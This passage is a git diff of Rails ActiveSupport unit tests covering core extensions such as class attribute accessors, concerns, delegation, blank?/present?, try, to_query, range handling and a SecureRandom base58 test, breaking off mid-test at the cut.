 class TestMissingSourceFile < ActiveSupport::TestCase
-  def test_with_require
-    assert_raise(MissingSourceFile) { require 'no_this_file_don\'t_exist' }
-  end
-  def test_with_load
-    assert_raise(MissingSourceFile) { load 'nor_does_this_one' }
-  end
-  def test_path
-    begin load 'nor/this/one.rb'
-    rescue MissingSourceFile => e
-      assert_equal 'nor/this/one.rb', e.path
+  def test_it_is_deprecated
+    assert_deprecated do
+      MissingSourceFile.new
     end
   end
 end
@@ -29,4 +23,4 @@ class TestLoadError < ActiveSupport::TestCase
       assert_equal 'nor/this/one.rb', e.path
     end
   end
-end
\ No newline at end of file
+end
diff --git a/activesupport/test/core_ext/module/attribute_accessor_test.rb b/activesupport/test/core_ext/module/attribute_accessor_test.rb
index a577f90bdd..48f3cc579f 100644
--- a/activesupport/test/core_ext/module/attribute_accessor_test.rb
+++ b/activesupport/test/core_ext/module/attribute_accessor_test.rb
@@ -8,6 +8,11 @@ class ModuleAttributeAccessorTest < ActiveSupport::TestCase
       mattr_accessor :bar, :instance_writer => false
       mattr_reader   :shaq, :instance_reader => false
       mattr_accessor :camp, :instance_accessor => false
+
+      cattr_accessor(:defa) { 'default_accessor_value' }
+      cattr_reader(:defr) { 'default_reader_value' }
+      cattr_writer(:defw) { 'default_writer_value' }
+      cattr_accessor(:quux) { :quux }
     end
     @class = Class.new
     @class.instance_eval { include m }
@@ -27,6 +32,11 @@ class ModuleAttributeAccessorTest < ActiveSupport::TestCase
     assert_equal :test2, @module.foo
   end
 
+  def test_cattr_accessor_default_value
+    assert_equal :quux, @module.quux
+    assert_equal :quux, @object.quux
+  end
+
   def test_should_not_create_instance_writer
     assert_respond_to @module, :foo
     assert_respond_to @module, :foo=
@@ -46,16 +56,24 @@ class ModuleAttributeAccessorTest < ActiveSupport::TestCase
   end
 
   def test_should_raise_name_error_if_attribute_name_is_invalid
-    assert_raises NameError do
+    exception = assert_raises NameError do
       Class.new do
-        mattr_reader "invalid attribute name"
+        cattr_reader "1nvalid"
       end
     end
+    assert_equal "invalid attribute name: 1nvalid", exception.message
 
-    assert_raises NameError do
+    exception = assert_raises NameError do
       Class.new do
-        mattr_writer "invalid attribute name"
+        cattr_writer "1nvalid"
       end
     end
+    assert_equal "invalid attribute name: 1nvalid", exception.message
+  end
+
+  def test_should_use_default_value_if_block_passed
+    assert_equal 'default_accessor_value', @module.defa
+    assert_equal 'default_reader_value', @module.defr
+    assert_equal 'default_writer_value', @module.class_variable_get('@@defw')
   end
 end
diff --git a/activesupport/test/core_ext/module/concerning_test.rb b/activesupport/test/core_ext/module/concerning_test.rb
new file mode 100644
index 0000000000..07d860b71c
--- /dev/null
+++ b/activesupport/test/core_ext/module/concerning_test.rb
@@ -0,0 +1,65 @@
+require 'abstract_unit'
+require 'active_support/core_ext/module/concerning'
+
+class ModuleConcerningTest < ActiveSupport::TestCase
+  def test_concerning_declares_a_concern_and_includes_it_immediately
+    klass = Class.new { concerning(:Foo) { } }
+    assert klass.ancestors.include?(klass::Foo), klass.ancestors.inspect
+  end
+end
+
+class ModuleConcernTest < ActiveSupport::TestCase
+  def test_concern_creates_a_module_extended_with_active_support_concern
+    klass = Class.new do
+      concern :Baz do
+        included { @foo = 1 }
+        def should_be_public; end
+      end
+    end
+
+    # Declares a concern but doesn't include it
+    assert klass.const_defined?(:Baz, false)
+    assert !ModuleConcernTest.const_defined?(:Baz)
+    assert_kind_of ActiveSupport::Concern, klass::Baz
+    assert !klass.ancestors.include?(klass::Baz), klass.ancestors.inspect
+
+    # Public method visibility by default
+    assert klass::Baz.public_instance_methods.map(&:to_s).include?('should_be_public')
+
+    # Calls included hook
+    assert_equal 1, Class.new { include klass::Baz }.instance_variable_get('@foo')
+  end
+
+  class Foo
+    concerning :Bar do
+      module ClassMethods
+        def will_be_orphaned; end
+      end
+
+      const_set :ClassMethods, Module.new {
+        def hacked_on; end
+      }
+
+      # Doesn't overwrite existing ClassMethods module.
+      class_methods do
+        def nicer_dsl; end
+      end
+
+      # Doesn't overwrite previous class_methods definitions.
+      class_methods do
+        def doesnt_clobber; end
+      end
+    end
+  end
+
+  def test_using_class_methods_blocks_instead_of_ClassMethods_module
+    assert !Foo.respond_to?(:will_be_orphaned)
+    assert Foo.respond_to?(:hacked_on)
+    assert Foo.respond_to?(:nicer_dsl)
+    assert Foo.respond_to?(:doesnt_clobber)
+
+    # Orphan in Foo::ClassMethods, not Bar::ClassMethods.
+    assert Foo.const_defined?(:ClassMethods)
+    assert Foo::ClassMethods.method_defined?(:will_be_orphaned)
+  end
+end
diff --git a/activesupport/test/core_ext/module_test.rb b/activesupport/test/core_ext/module_test.rb
index 283b13ff8b..c9c9b66a6c 100644
--- a/activesupport/test/core_ext/module_test.rb
+++ b/activesupport/test/core_ext/module_test.rb
@@ -12,12 +12,6 @@ class Ab
   Constant3 = "Goodbye World"
 end
 
-module Xy
-  class Bc
-    include One
-  end
-end
-
 module Yz
   module Zy
     class Cd
@@ -62,8 +56,14 @@ Developer = Struct.new(:client) do
   delegate :name, :to => :client, :prefix => nil
 end
 
+Event = Struct.new(:case) do
+  delegate :foo, :to => :case
+end
+
 Tester = Struct.new(:client) do
   delegate :name, :to => :client, :prefix => false
+
+  def foo; 1; end
 end
 
 Product = Struct.new(:name) do
@@ -251,6 +251,16 @@ class ModuleTest < ActiveSupport::TestCase
     end
   end
 
+  def test_delegation_line_number
+    _, line = Someone.instance_method(:foo).source_location
+    assert_equal Someone::FAILED_DELEGATE_LINE, line
+  end
+
+  def test_delegate_line_with_nil
+    _, line = Someone.instance_method(:bar).source_location
+    assert_equal Someone::FAILED_DELEGATE_LINE_2, line
+  end
+
   def test_delegation_exception_backtrace
     someone = Someone.new("foo", "bar")
     someone.foo
@@ -491,4 +501,9 @@ class MethodAliasingTest < ActiveSupport::TestCase
     assert_equal 'duck_with_orange', @instance.duck
     assert FooClassWithBarMethod.public_method_defined?(:duck)
   end
+
+  def test_delegate_with_case
+    event = Event.new(Tester.new)
+    assert_equal 1, event.foo
+  end
 end
diff --git a/activesupport/test/core_ext/name_error_test.rb b/activesupport/test/core_ext/name_error_test.rb
index 03ce09f22a..7525f80cf0 100644
--- a/activesupport/test/core_ext/name_error_test.rb
+++ b/activesupport/test/core_ext/name_error_test.rb
@@ -3,18 +3,18 @@ require 'active_support/core_ext/name_error'
 
 class NameErrorTest < ActiveSupport::TestCase
   def test_name_error_should_set_missing_name
-    SomeNameThatNobodyWillUse____Really ? 1 : 0
-    flunk "?!?!"
-  rescue NameError => exc
+    exc = assert_raise NameError do
+      SomeNameThatNobodyWillUse____Really ? 1 : 0
+    end
     assert_equal "NameErrorTest::SomeNameThatNobodyWillUse____Really", exc.missing_name
     assert exc.missing_name?(:SomeNameThatNobodyWillUse____Really)
     assert exc.missing_name?("NameErrorTest::SomeNameThatNobodyWillUse____Really")
   end
 
   def test_missing_method_should_ignore_missing_name
-    some_method_that_does_not_exist
-    flunk "?!?!"
-  rescue NameError => exc
+    exc = assert_raise NameError do
+      some_method_that_does_not_exist
+    end
     assert !exc.missing_name?(:Foo)
     assert_nil exc.missing_name
   end
diff --git a/activesupport/test/core_ext/numeric_ext_test.rb b/activesupport/test/core_ext/numeric_ext_test.rb
index 1da72eb17d..b82448458d 100644
--- a/activesupport/test/core_ext/numeric_ext_test.rb
+++ b/activesupport/test/core_ext/numeric_ext_test.rb
@@ -22,23 +22,6 @@ class NumericExtTimeAndDateTimeTest < ActiveSupport::TestCase
     end
   end
 
-  def test_intervals
-    @seconds.values.each do |seconds|
-      assert_equal seconds.since(@now), @now + seconds
-      assert_equal seconds.until(@now), @now - seconds
-    end
-  end
-
-  # Test intervals based from Time.now
-  def test_now
-    @seconds.values.each do |seconds|
-      now = Time.now
-      assert seconds.ago >= now - seconds
-      now = Time.now
-      assert seconds.from_now >= now + seconds
-    end
-  end
-
   def test_irregular_durations
     assert_equal @now.advance(:days => 3000), 3000.days.since(@now)
     assert_equal @now.advance(:months => 1), 1.month.since(@now)
@@ -78,54 +61,16 @@ class NumericExtTimeAndDateTimeTest < ActiveSupport::TestCase
   end
 
   def test_duration_after_conversion_is_no_longer_accurate
-    assert_equal 30.days.to_i.since(@now), 1.month.to_i.since(@now)
-    assert_equal 365.25.days.to_f.since(@now), 1.year.to_f.since(@now)
-    assert_equal 30.days.to_i.since(@dtnow), 1.month.to_i.since(@dtnow)
-    assert_equal 365.25.days.to_f.since(@dtnow), 1.year.to_f.since(@dtnow)
+    assert_equal 30.days.to_i.seconds.since(@now), 1.month.to_i.seconds.since(@now)
+    assert_equal 365.25.days.to_f.seconds.since(@now), 1.year.to_f.seconds.since(@now)
+    assert_equal 30.days.to_i.seconds.since(@dtnow), 1.month.to_i.seconds.since(@dtnow)
+    assert_equal 365.25.days.to_f.seconds.since(@dtnow), 1.year.to_f.seconds.since(@dtnow)
   end
 
   def test_add_one_year_to_leap_day
     assert_equal Time.utc(2005,2,28,15,15,10), Time.utc(2004,2,29,15,15,10) + 1.year
     assert_equal DateTime.civil(2005,2,28,15,15,10), DateTime.civil(2004,2,29,15,15,10) + 1.year
   end
-
-  def test_since_and_ago_anchored_to_time_now_when_time_zone_is_not_set
-    Time.zone = nil
-    with_env_tz 'US/Eastern' do
-      Time.stubs(:now).returns Time.local(2000)
-      # since
-      assert_equal false, 5.since.is_a?(ActiveSupport::TimeWithZone)
-      assert_equal Time.local(2000,1,1,0,0,5), 5.since
-      # ago
-      assert_equal false, 5.ago.is_a?(ActiveSupport::TimeWithZone)
-      assert_equal Time.local(1999,12,31,23,59,55), 5.ago
-    end
-  end
-
-  def test_since_and_ago_anchored_to_time_zone_now_when_time_zone_is_set
-    Time.zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
-    with_env_tz 'US/Eastern' do
-      Time.stubs(:now).returns Time.local(2000)
-      # since
-      assert_equal true, 5.since.is_a?(ActiveSupport::TimeWithZone)
-      assert_equal Time.utc(2000,1,1,0,0,5), 5.since.time
-      assert_equal 'Eastern Time (US & Canada)', 5.since.time_zone.name
-      # ago
-      assert_equal true, 5.ago.is_a?(ActiveSupport::TimeWithZone)
-      assert_equal Time.utc(1999,12,31,23,59,55), 5.ago.time
-      assert_equal 'Eastern Time (US & Canada)', 5.ago.time_zone.name
-    end
-  ensure
-    Time.zone = nil
-  end
-
-  protected
-    def with_env_tz(new_tz = 'US/Eastern')
-      old_tz, ENV['TZ'] = ENV['TZ'], new_tz
-      yield
-    ensure
-      old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
-    end
 end
 
 class NumericExtDateTest < ActiveSupport::TestCase
@@ -440,4 +385,8 @@ class NumericExtFormattingTest < ActiveSupport::TestCase
     assert_equal BigDecimal, BigDecimal("1000010").class
     assert_equal '1 Million', BigDecimal("1000010").to_s(:human)
   end
+
+  def test_in_milliseconds
+    assert_equal 10_000, 10.seconds.in_milliseconds
+  end
 end
diff --git a/activesupport/test/core_ext/object/acts_like_test.rb b/activesupport/test/core_ext/object/acts_like_test.rb
new file mode 100644
index 0000000000..e68b1d23cb
--- /dev/null
+++ b/activesupport/test/core_ext/object/acts_like_test.rb
@@ -0,0 +1,33 @@
+require 'abstract_unit'
+require 'active_support/core_ext/object'
+
+class ObjectTests < ActiveSupport::TestCase
+  class DuckTime
+    def acts_like_time?
+      true
+    end
+  end
+
+  def test_duck_typing
+    object = Object.new
+    time   = Time.now
+    date   = Date.today
+    dt     = DateTime.new
+    duck   = DuckTime.new
+
+    assert !object.acts_like?(:time)
+    assert !object.acts_like?(:date)
+
+    assert time.acts_like?(:time)
+    assert !time.acts_like?(:date)
+
+    assert !date.acts_like?(:time)
+    assert date.acts_like?(:date)
+
+    assert dt.acts_like?(:time)
+    assert dt.acts_like?(:date)
+
+    assert duck.acts_like?(:time)
+    assert !duck.acts_like?(:date)
+  end
+end
diff --git a/activesupport/test/core_ext/blank_test.rb b/activesupport/test/core_ext/object/blank_test.rb
index a68c074777..8a5e385dd7 100644
--- a/activesupport/test/core_ext/blank_test.rb
+++ b/activesupport/test/core_ext/object/blank_test.rb
@@ -1,20 +1,31 @@
-# encoding: utf-8
 
 require 'abstract_unit'
 require 'active_support/core_ext/object/blank'
 
 class BlankTest < ActiveSupport::TestCase
-  BLANK = [ EmptyTrue.new, nil, false, '', '   ', "  \n\t  \r ", '　', [], {} ]
+  class EmptyTrue
+    def empty?
+      0
+    end
+  end
+
+  class EmptyFalse
+    def empty?
+      nil
+    end
+  end
+
+  BLANK = [ EmptyTrue.new, nil, false, '', '   ', "  \n\t  \r ", '　', "\u00a0", [], {} ]
   NOT   = [ EmptyFalse.new, Object.new, true, 0, 1, 'a', [nil], { nil => 0 } ]
 
   def test_blank
-    BLANK.each { |v| assert v.blank?,  "#{v.inspect} should be blank" }
-    NOT.each   { |v| assert !v.blank?, "#{v.inspect} should not be blank" }
+    BLANK.each { |v| assert_equal true, v.blank?,  "#{v.inspect} should be blank" }
+    NOT.each   { |v| assert_equal false, v.blank?, "#{v.inspect} should not be blank" }
   end
 
   def test_present
-    BLANK.each { |v| assert !v.present?, "#{v.inspect} should not be present" }
-    NOT.each   { |v| assert v.present?,  "#{v.inspect} should be present" }
+    BLANK.each { |v| assert_equal false, v.present?, "#{v.inspect} should not be present" }
+    NOT.each   { |v| assert_equal true, v.present?,  "#{v.inspect} should be present" }
   end
 
   def test_presence
diff --git a/activesupport/test/core_ext/deep_dup_test.rb b/activesupport/test/core_ext/object/deep_dup_test.rb
index 91d558dbb5..91d558dbb5 100644
--- a/activesupport/test/core_ext/deep_dup_test.rb
+++ b/activesupport/test/core_ext/object/deep_dup_test.rb
diff --git a/activesupport/test/core_ext/object/duplicable_test.rb b/activesupport/test/core_ext/object/duplicable_test.rb
new file mode 100644
index 0000000000..d37f4bd0d8
--- /dev/null
+++ b/activesupport/test/core_ext/object/duplicable_test.rb
@@ -0,0 +1,22 @@
+require 'abstract_unit'
+require 'bigdecimal'
+require 'active_support/core_ext/object/duplicable'
+require 'active_support/core_ext/numeric/time'
+
+class DuplicableTest < ActiveSupport::TestCase
+  RAISE_DUP  = [nil, false, true, :symbol, 1, 2.3, method(:puts)]
+  ALLOW_DUP = ['1', Object.new, /foo/, [], {}, Time.now, Class.new, Module.new]
+  ALLOW_DUP << BigDecimal.new('4.56')
+
+  def test_duplicable
+    RAISE_DUP.each do |v|
+      assert !v.duplicable?
+      assert_raises(TypeError, v.class.name) { v.dup }
+    end
+
+    ALLOW_DUP.each do |v|
+      assert v.duplicable?, "#{ v.class } should be duplicable"
+      assert_nothing_raised { v.dup }
+    end
+  end
+end
diff --git a/activesupport/test/core_ext/object/inclusion_test.rb b/activesupport/test/core_ext/object/inclusion_test.rb
index 478706eeae..32d512eca3 100644
--- a/activesupport/test/core_ext/object/inclusion_test.rb
+++ b/activesupport/test/core_ext/object/inclusion_test.rb
@@ -37,14 +37,23 @@ class InTest < ActiveSupport::TestCase
   end
   class C < B
   end
+  class D
+  end
 
   def test_in_module
     assert A.in?(B)
     assert A.in?(C)
     assert !A.in?(A)
+    assert !A.in?(D)
   end
   
   def test_no_method_catching
     assert_raise(ArgumentError) { 1.in?(1) }
   end
+  
+  def test_presence_in
+    assert_equal "stuff", "stuff".presence_in(%w( lots of stuff ))
+    assert_nil "stuff".presence_in(%w( lots of crap ))
+    assert_raise(ArgumentError) { 1.presence_in(1) }
+  end
 end
diff --git a/activesupport/test/core_ext/object/instance_variables_test.rb b/activesupport/test/core_ext/object/instance_variables_test.rb
new file mode 100644
index 0000000000..9f4c5dc4f1
--- /dev/null
+++ b/activesupport/test/core_ext/object/instance_variables_test.rb
@@ -0,0 +1,31 @@
+require 'abstract_unit'
+require 'active_support/core_ext/object'
+
+class ObjectInstanceVariableTest < ActiveSupport::TestCase
+  def setup
+    @source, @dest = Object.new, Object.new
+    @source.instance_variable_set(:@bar, 'bar')
+    @source.instance_variable_set(:@baz, 'baz')
+  end
+
+  def test_instance_variable_names
+    assert_equal %w(@bar @baz), @source.instance_variable_names.sort
+  end
+
+  def test_instance_values
+    assert_equal({'bar' => 'bar', 'baz' => 'baz'}, @source.instance_values)
+  end
+
+  def test_instance_exec_passes_arguments_to_block
+    assert_equal %w(hello goodbye), 'hello'.instance_exec('goodbye') { |v| [self, v] }
+  end
+
+  def test_instance_exec_with_frozen_obj
+    assert_equal %w(olleh goodbye), 'hello'.freeze.instance_exec('goodbye') { |v| [reverse, v] }
+  end
+
+  def test_instance_exec_nested
+    assert_equal %w(goodbye olleh bar), 'hello'.instance_exec('goodbye') { |arg|
+      [arg] + instance_exec('bar') { |v| [reverse, v] } }
+  end
+end
diff --git a/activesupport/test/core_ext/object/json_cherry_pick_test.rb b/activesupport/test/core_ext/object/json_cherry_pick_test.rb
new file mode 100644
index 0000000000..2f7ea3a497
--- /dev/null
+++ b/activesupport/test/core_ext/object/json_cherry_pick_test.rb
@@ -0,0 +1,42 @@
+require 'abstract_unit'
+
+# These test cases were added to test that cherry-picking the json extensions
+# works correctly, primarily for dependencies problems reported in #16131. They
+# need to be executed in isolation to reproduce the scenario correctly, because
+# other test cases might have already loaded additional dependencies.
+
+class JsonCherryPickTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Isolation
+
+  def test_time_as_json
+    require_or_skip 'active_support/core_ext/object/json'
+
+    expected = Time.new(2004, 7, 25)
+    actual   = Time.parse(expected.as_json)
+
+    assert_equal expected, actual
+  end
+
+  def test_date_as_json
+    require_or_skip 'active_support/core_ext/object/json'
+
+    expected = Date.new(2004, 7, 25)
+    actual   = Date.parse(expected.as_json)
+
+    assert_equal expected, actual
+  end
+
+  def test_datetime_as_json
+    require_or_skip 'active_support/core_ext/object/json'
+
+    expected = DateTime.new(2004, 7, 25)
+    actual   = DateTime.parse(expected.as_json)
+
+    assert_equal expected, actual
+  end
+
+  private
+    def require_or_skip(file)
+      require(file) || skip("'#{file}' was already loaded")
+    end
+end
diff --git a/activesupport/test/core_ext/object/to_param_test.rb b/activesupport/test/core_ext/object/to_param_test.rb
index bd7c6c422a..30a7557dc2 100644
--- a/activesupport/test/core_ext/object/to_param_test.rb
+++ b/activesupport/test/core_ext/object/to_param_test.rb
@@ -2,6 +2,12 @@ require 'abstract_unit'
 require 'active_support/core_ext/object/to_param'
 
 class ToParamTest < ActiveSupport::TestCase
+  class CustomString < String
+    def to_param
+      "custom-#{ self }"
+    end
+  end
+
   def test_object
     foo = Object.new
     def foo.to_s; 'foo' end
@@ -16,4 +22,16 @@ class ToParamTest < ActiveSupport::TestCase
     assert_equal true, true.to_param
     assert_equal false, false.to_param
   end
+
+  def test_array
+    # Empty Array
+    assert_equal '', [].to_param
+
+    array = [1, 2, 3, 4]
+    assert_equal "1/2/3/4", array.to_param
+
+    # Array of different objects
+    array = [1, '3', { a: 1, b: 2 }, nil, true, false, CustomString.new('object')]
+    assert_equal "1/3/a=1&b=2//true/false/custom-object", array.to_param
+  end
 end
diff --git a/activesupport/test/core_ext/object/to_query_test.rb b/activesupport/test/core_ext/object/to_query_test.rb
index 92f996f9a4..09cab3ed35 100644
--- a/activesupport/test/core_ext/object/to_query_test.rb
+++ b/activesupport/test/core_ext/object/to_query_test.rb
@@ -46,6 +46,35 @@ class ToQueryTest < ActiveSupport::TestCase
       :person => {:id => [20, 10]}
   end
 
+  def test_empty_array
+    assert_equal "person%5B%5D=", [].to_query('person')
+  end
+
+  def test_nested_empty_hash
+    assert_equal '',
+      {}.to_query
+    assert_query_equal 'a=1&b%5Bc%5D=3',
+      { a: 1, b: { c: 3, d: {} } }
+    assert_query_equal '',
+      { a: {b: {c: {}}} }
+    assert_query_equal 'b%5Bc%5D=false&b%5Be%5D=&b%5Bf%5D=&p=12',
+      { p: 12, b: { c: false, e: nil, f: '' } }
+    assert_query_equal 'b%5Bc%5D=3&b%5Bf%5D=',
+      { b: { c: 3, k: {}, f: '' } }
+    assert_query_equal 'b=3',
+      {a: [], b: 3}
+  end
+
+  def test_hash_with_namespace
+    hash = { name: 'Nakshay', nationality: 'Indian' }
+    assert_equal "user%5Bname%5D=Nakshay&user%5Bnationality%5D=Indian", hash.to_query('user')
+  end
+
+  def test_hash_sorted_lexicographically
+    hash = { type: 'human', name: 'Nakshay' }
+    assert_equal "name=Nakshay&type=human", hash.to_query
+  end
+
   private
     def assert_query_equal(expected, actual)
       assert_equal expected.split('&'), actual.to_query.split('&')
diff --git a/activesupport/test/core_ext/object/try_test.rb b/activesupport/test/core_ext/object/try_test.rb
new file mode 100644
index 0000000000..89438675c1
--- /dev/null
+++ b/activesupport/test/core_ext/object/try_test.rb
@@ -0,0 +1,99 @@
+require 'abstract_unit'
+require 'active_support/core_ext/object'
+
+class ObjectTryTest < ActiveSupport::TestCase
+  def setup
+    @string = "Hello"
+  end
+
+  def test_nonexisting_method
+    method = :undefined_method
+    assert !@string.respond_to?(method)
+    assert_nil @string.try(method)
+  end
+
+  def test_nonexisting_method_with_arguments
+    method = :undefined_method
+    assert !@string.respond_to?(method)
+    assert_nil @string.try(method, 'llo', 'y')
+  end
+
+  def test_nonexisting_method_bang
+    method = :undefined_method
+    assert !@string.respond_to?(method)
+    assert_raise(NoMethodError) { @string.try!(method) }
+  end
+
+  def test_nonexisting_method_with_arguments_bang
+    method = :undefined_method
+    assert !@string.respond_to?(method)
+    assert_raise(NoMethodError) { @string.try!(method, 'llo', 'y') }
+  end
+
+  def test_valid_method
+    assert_equal 5, @string.try(:size)
+  end
+
+  def test_argument_forwarding
+    assert_equal 'Hey', @string.try(:sub, 'llo', 'y')
+  end
+
+  def test_block_forwarding
+    assert_equal 'Hey', @string.try(:sub, 'llo') { |match| 'y' }
+  end
+
+  def test_nil_to_type
+    assert_nil nil.try(:to_s)
+    assert_nil nil.try(:to_i)
+  end
+
+  def test_false_try
+    assert_equal 'false', false.try(:to_s)
+  end
+
+  def test_try_only_block
+    assert_equal @string.reverse, @string.try(&:reverse)
+  end
+
+  def test_try_only_block_bang
+    assert_equal @string.reverse, @string.try!(&:reverse)
+  end
+
+  def test_try_only_block_nil
+    ran = false
+    nil.try { ran = true }
+    assert_equal false, ran
+  end
+
+  def test_try_with_instance_eval_block
+    assert_equal @string.reverse, @string.try { reverse }
+  end
+
+  def test_try_with_instance_eval_block_bang
+    assert_equal @string.reverse, @string.try! { reverse }
+  end
+
+  def test_try_with_private_method_bang
+    klass = Class.new do
+      private
+
+      def private_method
+        'private method'
+      end
+    end
+
+    assert_raise(NoMethodError) { klass.new.try!(:private_method) }
+  end
+
+  def test_try_with_private_method
+    klass = Class.new do
+      private
+
+      def private_method
+        'private method'
+      end
+    end
+
+    assert_nil klass.new.try(:private_method)
+  end
+end
diff --git a/activesupport/test/core_ext/object_and_class_ext_test.rb b/activesupport/test/core_ext/object_and_class_ext_test.rb
deleted file mode 100644
index 8d748791e3..0000000000
--- a/activesupport/test/core_ext/object_and_class_ext_test.rb
+++ /dev/null
@@ -1,181 +0,0 @@
-require 'abstract_unit'
-require 'active_support/time'
-require 'active_support/core_ext/object'
-require 'active_support/core_ext/class/subclasses'
-
-class ClassA; end
-class ClassB < ClassA; end
-class ClassC < ClassB; end
-class ClassD < ClassA; end
-
-class ClassI; end
-class ClassJ < ClassI; end
-
-class ClassK
-end
-module Nested
-  class << self
-    def on_const_missing(&callback)
-      @on_const_missing = callback
-    end
-    private
-      def const_missing(mod_id)
-        @on_const_missing[mod_id] if @on_const_missing
-        super
-      end
-  end
-  class ClassL < ClassK
-  end
-end
-
-class ObjectTests < ActiveSupport::TestCase
-  class DuckTime
-    def acts_like_time?
-      true
-    end
-  end
-
-  def test_duck_typing
-    object = Object.new
-    time   = Time.now
-    date   = Date.today
-    dt     = DateTime.new
-    duck   = DuckTime.new
-
-    assert !object.acts_like?(:time)
-    assert !object.acts_like?(:date)
-
-    assert time.acts_like?(:time)
-    assert !time.acts_like?(:date)
-
-    assert !date.acts_like?(:time)
-    assert date.acts_like?(:date)
-
-    assert dt.acts_like?(:time)
-    assert dt.acts_like?(:date)
-
-    assert duck.acts_like?(:time)
-    assert !duck.acts_like?(:date)
-  end
-end
-
-class ObjectInstanceVariableTest < ActiveSupport::TestCase
-  def setup
-    @source, @dest = Object.new, Object.new
-    @source.instance_variable_set(:@bar, 'bar')
-    @source.instance_variable_set(:@baz, 'baz')
-  end
-
-  def test_instance_variable_names
-    assert_equal %w(@bar @baz), @source.instance_variable_names.sort
-  end
-
-  def test_instance_values
-    object = Object.new
-    object.instance_variable_set :@a, 1
-    object.instance_variable_set :@b, 2
-    assert_equal({'a' => 1, 'b' => 2}, object.instance_values)
-  end
-
-  def test_instance_exec_passes_arguments_to_block
-    assert_equal %w(hello goodbye), 'hello'.instance_exec('goodbye') { |v| [self, v] }
-  end
-
-  def test_instance_exec_with_frozen_obj
-    assert_equal %w(olleh goodbye), 'hello'.freeze.instance_exec('goodbye') { |v| [reverse, v] }
-  end
-
-  def test_instance_exec_nested
-    assert_equal %w(goodbye olleh bar), 'hello'.instance_exec('goodbye') { |arg|
-      [arg] + instance_exec('bar') { |v| [reverse, v] } }
-  end
-end
-
-class ObjectTryTest < ActiveSupport::TestCase
-  def setup
-    @string = "Hello"
-  end
-
-  def test_nonexisting_method
-    method = :undefined_method
-    assert !@string.respond_to?(method)
-    assert_nil @string.try(method)
-  end
-
-  def test_nonexisting_method_with_arguments
-    method = :undefined_method
-    assert !@string.respond_to?(method)
-    assert_nil @string.try(method, 'llo', 'y')
-  end
-
-  def test_nonexisting_method_bang
-    method = :undefined_method
-    assert !@string.respond_to?(method)
-    assert_raise(NoMethodError) { @string.try!(method) }
-  end
-
-  def test_nonexisting_method_with_arguments_bang
-    method = :undefined_method
-    assert !@string.respond_to?(method)
-    assert_raise(NoMethodError) { @string.try!(method, 'llo', 'y') }
-  end
-
-  def test_try_only_block_bang
-    assert_equal @string.reverse, @string.try! { |s| s.reverse }
-  end
-
-  def test_valid_method
-    assert_equal 5, @string.try(:size)
-  end
-
-  def test_argument_forwarding
-    assert_equal 'Hey', @string.try(:sub, 'llo', 'y')
-  end
-
-  def test_block_forwarding
-    assert_equal 'Hey', @string.try(:sub, 'llo') { |match| 'y' }
-  end
-
-  def test_nil_to_type
-    assert_nil nil.try(:to_s)
-    assert_nil nil.try(:to_i)
-  end
-
-  def test_false_try
-    assert_equal 'false', false.try(:to_s)
-  end
-
-  def test_try_only_block
-    assert_equal @string.reverse, @string.try { |s| s.reverse }
-  end
-
-  def test_try_only_block_nil
-    ran = false
-    nil.try { ran = true }
-    assert_equal false, ran
-  end
-
-  def test_try_with_private_method_bang
-    klass = Class.new do
-      private
-
-      def private_method
-        'private method'
-      end
-    end
-
-    assert_raise(NoMethodError) { klass.new.try!(:private_method) }
-  end
-  
-  def test_try_with_private_method
-    klass = Class.new do
-      private
-
-      def private_method
-        'private method'
-      end
-    end
-
-    assert_nil klass.new.try(:private_method)
-  end
-end
diff --git a/activesupport/test/core_ext/range_ext_test.rb b/activesupport/test/core_ext/range_ext_test.rb
index 2f8723a074..f096328cee 100644
--- a/activesupport/test/core_ext/range_ext_test.rb
+++ b/activesupport/test/core_ext/range_ext_test.rb
@@ -12,10 +12,11 @@ class RangeTest < ActiveSupport::TestCase
     date_range = Time.utc(2005, 12, 10, 15, 30)..Time.utc(2005, 12, 10, 17, 30)
     assert_equal "BETWEEN '2005-12-10 15:30:00' AND '2005-12-10 17:30:00'", date_range.to_s(:db)
   end
-  
+
   def test_date_range
     assert_instance_of Range, DateTime.new..DateTime.new
     assert_instance_of Range, DateTime::Infinity.new..DateTime::Infinity.new
+    assert_instance_of Range, DateTime.new..DateTime::Infinity.new
   end
 
   def test_overlaps_last_inclusive
@@ -42,7 +43,7 @@ class RangeTest < ActiveSupport::TestCase
     assert((1...10).include?(1...10))
   end
 
-  def test_should_include_other_with_exlusive_end
+  def test_should_include_other_with_exclusive_end
     assert((1..10).include?(1...10))
   end
 
@@ -90,4 +91,35 @@ class RangeTest < ActiveSupport::TestCase
     time_range_2 = Time.utc(2005, 12, 10, 17, 31)..Time.utc(2005, 12, 10, 18, 00)
     assert !time_range_1.overlaps?(time_range_2)
   end
+
+  def test_each_on_time_with_zone
+    twz = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone['Eastern Time (US & Canada)'] , Time.utc(2006,11,28,10,30))
+    assert_raises TypeError do
+      ((twz - 1.hour)..twz).each {}
+    end
+  end
+
+  def test_step_on_time_with_zone
+    twz = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone['Eastern Time (US & Canada)'] , Time.utc(2006,11,28,10,30))
+    assert_raises TypeError do
+      ((twz - 1.hour)..twz).step(1) {}
+    end
+  end
+
+  def test_include_on_time_with_zone
+    twz = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone['Eastern Time (US & Canada)'] , Time.utc(2006,11,28,10,30))
+    assert_raises TypeError do
+      ((twz - 1.hour)..twz).include?(twz)
+    end
+  end
+
+  def test_date_time_with_each
+    datetime = DateTime.now
+    assert(((datetime - 1.hour)..datetime).each {})
+  end
+
+  def test_date_time_with_step
+    datetime = DateTime.now
+    assert(((datetime - 1.hour)..datetime).step(1) {})
+  end
 end
diff --git a/activesupport/test/core_ext/securerandom.rb b/activesupport/test/core_ext/securerandom.rb
new file mode 100644
index 0000000000..dfacb7fe9f
--- /dev/null
+++ b/activesupport/test/core_ext/securerandom.rb
@@ -0,0 +1,20 @@
+require 'abstract_unit'
+require 'active_support/core_ext/securerandom'
+
+class SecureRandomTest < ActiveSupport::TestCase
+  def test_base58
+    s1 = SecureRandom.base58
+    s2 = SecureRandom.base58
+
+    assert_not_equal s1, s2
+    assert_equal 16, s1.length
+  end
+
+  def test_base58_with_length
+    s1 = SecureRandom.base58(24)
+    s2 = SecureRandom.base58(24)
+
